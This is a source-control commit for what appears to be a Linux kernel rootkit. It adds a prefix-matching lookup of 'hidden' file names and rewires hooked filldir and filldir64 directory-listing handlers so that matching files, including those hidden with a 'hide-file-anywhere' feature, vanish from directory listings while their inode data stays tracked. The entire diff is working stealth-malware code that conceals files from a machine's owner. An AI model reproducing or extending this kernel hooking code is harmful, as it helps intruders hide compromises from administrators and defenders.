fs: add late update to hidden files

statx is fed by filldir(64) however, shared data
between these two is mostly meta.

Here I pave way to link concrete info between
these two, that may not be available earlier,
notably from hide-file-anywhere.

and other minor changes

src/fs.c

@@ -177,6 +177,35 @@ bool fs_search_name(const char *name, u64 ino) {
     return false;
 }
 
+/**
+ * find the name match, and update
+ * inode, type, if necessary
+ * this can be useful for "hide-file-anywhere" when the next
+ * call is statx, making data available upwards
+ */
+bool fs_search_and_update(const char *name, u64 ino, bool is_dir) {
+    bool rc = false;
+    struct hidden_names *node, *node_safe;
+    list_for_each_entry_safe(node, node_safe, &names_node, list) {
+
+        /** This will match any string starting with pattern */
+        if (!strncmp(node->name, name, strlen(node->name))) {
+            rc = true;
+
+            if (node->is_dir != is_dir) {
+                prinfo("Update[is_dir] name='%s' ino=%llu is_dir=%d\n", name, ino, is_dir);
+                node->is_dir = is_dir;
+            }
+            if (node->ino != ino) {
+                prinfo("Update[ino] name='%s' ino=%llu is_dir=%d\n", name, ino, is_dir);
+                node->ino = ino;
+            }
+            break;
+        }
+    }
+    return rc;
+}
+
 void fs_list_names(void) {
     struct hidden_names *node, *node_safe;
     list_for_each_entry_safe(node, node_safe, &names_node, list) {

src/fs.h

@@ -21,19 +21,17 @@ bool fs_file_stat(struct path *, struct kstat *);
  * This function allocates data that must
  * be freed when no longer needed.
  */
-struct fs_file_node *fs_get_file_node(const struct task_struct *task);
-
-bool fs_search_name(const char *name, u64);
+struct fs_file_node *fs_get_file_node(const struct task_struct *);
+bool fs_search_name(const char *, u64);
 void fs_list_names(void);
-int fs_add_name_ro(const char *name, u64);
-int fs_add_name_rw(const char *name, u64);
-int fs_add_name_rw_dir(const char *name, u64 ino, bool);
-bool fs_del_name(const char *name);
+int fs_add_name_ro(const char *, u64);
+int fs_add_name_rw(const char *, u64);
+int fs_add_name_rw_dir(const char *, u64, bool);
+bool fs_search_and_update(const char *, u64, bool);
+bool fs_del_name(const char *);
 void fs_names_cleanup(void);
-struct fs_file_node *fs_load_fnode(struct file *f);
-
-
-struct file *fs_kernel_open_file(const char *name);
+struct fs_file_node *fs_load_fnode(struct file *);
+struct file *fs_kernel_open_file(const char *);
 
 #if LINUX_VERSION_CODE >= KERNEL_VERSION(4,14,0)
 ssize_t fs_kernel_write_file(struct file *, const void *, size_t, loff_t *);
@@ -43,6 +41,6 @@ ssize_t fs_kernel_write_file(struct file *, const char *, size_t, loff_t);
 int fs_kernel_read_file(struct file *, loff_t, char *, unsigned long);
 #endif
 
-int fs_kernel_close_file(struct file *filp);
-int fs_file_rm(char *name);
+int fs_kernel_close_file(struct file *);
+int fs_file_rm(char *);
 #endif //__FS_H

src/sys.c

@@ -735,7 +735,14 @@ static int  (*real_filldir)(struct dir_context *, const char *, int, loff_t, u64
 static int m_filldir(struct dir_context *ctx, const char *name, int namlen,loff_t offset, u64 ino, unsigned int d_type) {
 #endif
 
-    if (fs_search_name(name, ino))
+    /** For certain hidden files we don't have inode number initially,
+     * when hidden with "hide-file-anywhere" but it is available here
+     * and it is updated below, if needed.
+     * Also for files hidden anywhere same file can live
+     * in multiple directories, thus inode number may
+     * be updated to the current directory being listed
+     */
+    if (fs_search_and_update(name, ino, d_type == DT_DIR))
         return 0;
     return real_filldir(ctx, name, namlen, offset, ino, d_type);
 }
@@ -748,10 +755,13 @@ static int  (*real_filldir64)(struct dir_context *, const char *, int, loff_t, u
 static int m_filldir64(struct dir_context *ctx, const char *name, int namlen,loff_t offset, u64 ino, unsigned int d_type) {
 #endif
 
-    //XXX: d_type == DT_DIR ? "Directory" : "Reg file"
-    if (fs_search_name(name, ino))
-        return 0;
+    if (fs_search_and_update(name, ino, d_type == DT_DIR))
+        goto match;
+
     return real_filldir64(ctx, name, namlen, offset, ino, d_type);
+
+match:
+    return 0;
 }
 
 #define MAXKEY 512